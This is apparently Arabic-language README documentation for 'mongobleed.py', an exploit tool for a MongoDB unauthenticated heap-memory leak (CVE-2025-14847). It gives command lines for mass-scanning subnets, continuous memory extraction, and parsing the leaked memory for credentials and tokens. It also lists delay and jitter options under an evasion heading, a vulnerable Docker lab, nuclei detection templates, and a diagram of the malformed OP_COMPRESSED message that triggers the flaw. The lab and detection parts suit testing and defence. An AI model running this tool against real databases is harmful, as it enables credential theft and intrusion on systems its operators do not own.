# فحص هدف واحد
python mongobleed.py -t localhost:27017

# فحص مع إخراج مفصل
python mongobleed.py -t localhost:27017 -v

# الوضع الآمن -- كشف فقط، لا يرسل حمولة استغلال أبدًا
python mongobleed.py -t localhost:27017 -s

# عرض معلومات الإصدار
python mongobleed.py -t localhost:27017 --version

# فحص شبكة فرعية /24
python mongobleed.py -t 192.168.1.0/24

# CIDR مع منفذ مخصص
python mongobleed.py -t 10.0.0.0/24:27018

# فحص من ملف أهداف (يتم توسيع نطاقات CIDR في الملف)
python mongobleed.py -T targets.txt -j 20 -o results.json

# يمكن أن يحتوي ملف الهدف على عناوين IP ومنافذ ونطاقات CIDR
cat targets.txt
# 192.168.1.100:27017
# 10.0.0.0/24
# mongodb.internal:27017

# استخراج الذاكرة (نطاق الإزاحة الافتراضي 20-8192)
python mongobleed.py -t target:27017 -e

# نطاق إزاحة مخصص
python mongobleed.py -t target:27017 -e --min-offset 20 --max-offset 500

# استخراج مستمر (اضغط Ctrl+C للإيقاف)
python mongobleed.py -t target:27017 --continuous

# فرض الاستخراج حتى لو كان فحص الإصدار غير حاسم
python mongobleed.py -t target:27017 -e --force

# تحليل الذاكرة المسربة لبيانات الاعتماد والأسرار
python mongobleed.py -t target:27017 -e --credentials

# تحليل للرموز بشكل خاص
python mongobleed.py -t target:27017 -e --tokens

# استخراج النصوص القابلة للطباعة
python mongobleed.py -t target:27017 -e --strings

# إخراج Hexdump
python mongobleed.py -t target:27017 -e --hexdump

# إضافة تأخير بين الطلبات (ميلي ثانية)
python mongobleed.py -t target:27017 -e --delay 500

# تشويش عشوائي على التأخير
python mongobleed.py -t target:27017 -e --delay 1000 --jitter

# كشف آمن فقط
nuclei -t nuclei/CVE-2025-14847-safe.yaml -u mongodb://localhost:27017

# كشف نشط
nuclei -t nuclei/CVE-2025-14847.yaml -u mongodb://localhost:27017

# مسح أهداف متعددة
nuclei -t nuclei/ -l targets.txt

# تشغيل جميع الحاويات
cd lab && docker compose up -d

# الخدمات:
# - localhost:27017  MongoDB 4.4.29 (ضعيفة + zlib)
# - localhost:27018  MongoDB 6.0.26 (ضعيفة + zlib)
# - localhost:27019  MongoDB 8.0.16 (ضعيفة + zlib)
# - localhost:27020  MongoDB 8.0.17 (مصححة)
# - localhost:27021  MongoDB 8.0.16 (بدون zlib - غير قابلة للاستغلال)
# - localhost:8080   لوحة تحكم المراقبة

# تدفئة الكومة ببيانات حساسة قبل الاستغلال
./warmup-heap.sh 27017 50

# تشغيل الأداة ضد المختبر
cd ../cli
python mongobleed.py -t localhost:27017 -e --credentials

الهدف:
  -t, --target TARGET     الهدف: host:port أو نطاق CIDR (مثال 192.168.1.0/24)
  -T, --targets FILE      ملف يحتوي على قائمة الأهداف (يدعم CIDR في كل سطر)

الكشف:
  --detect                كشف ما إذا كان الهدف ضعيفًا (الإجراء الافتراضي)
  --version               عرض إصدار MongoDB
  -s, --safe              الوضع الآمن - كشف فقط، لا استغلال

الاستغلال:
  -e, --extract           استخراج الذاكرة عبر مسح الإزاحة
  --min-offset N          أقل إزاحة للفحص (الافتراضي: 20)
  --max-offset N          أكبر إزاحة للفحص (الافتراضي: 8192)
  --continuous            وضع الاستخراج المستمر
  --force                 فرض الاستخراج حتى لو فشل فحص الإصدار

التحليل:
  --credentials           تحليل لبيانات الاعتماد
  --tokens                تحليل للرموز
  --strings               استخراج النصوص القابلة للطباعة
  --hexdump               عرض Hexdump

التهرب:
  --delay MS              تأخير بين الطلبات (ميلي ثانية)
  --jitter                تشويش عشوائي على التأخير

الإخراج:
  -o, --output FILE       ملف الإخراج (JSON)
  -v, --verbose           إخراج مفصل
  -q, --quiet             وضع هادئ
  --json                  إخراج بتنسيق JSON
  --no-color              تعطيل الألوان

الاتصال:
  --timeout SECS          مهلة الاتصال (الافتراضي: 10)
  -j, --threads N         عدد الخيوط للمسح الدفعي (الافتراضي: 10)

1. الاتصال (لا حاجة للمصادقة)
              ↓
2. إرسال OP_COMPRESSED مشوه
   ┌──────────────────────────────────┐
   │ originalOpcode: OP_MSG (2013)    │
   │ uncompressedSize: مبالغ فيه       │ ← محفز الثغرة
   │ compressorId: zlib (2)           │
   │ compressedMessage: [بيانات صغيرة]│
   └──────────────────────────────────┘
              ↓
3. الخادم يخصص مخزناً كبيراً جداً
   [ بيانات حقيقية صغيرة | ذاكرة كومة غير مهيأة ]
              ↓
4. محلل BSON يقرأ في القمامة
   طول المستند المبالغ فيه يجعل المحلل يقرأ
   خارج البيانات الفعلية إلى ذاكرة الكومة
              ↓
5. رسالة الخطأ تسرب الذاكرة
   "invalid BSON field name 'password=secret123...'"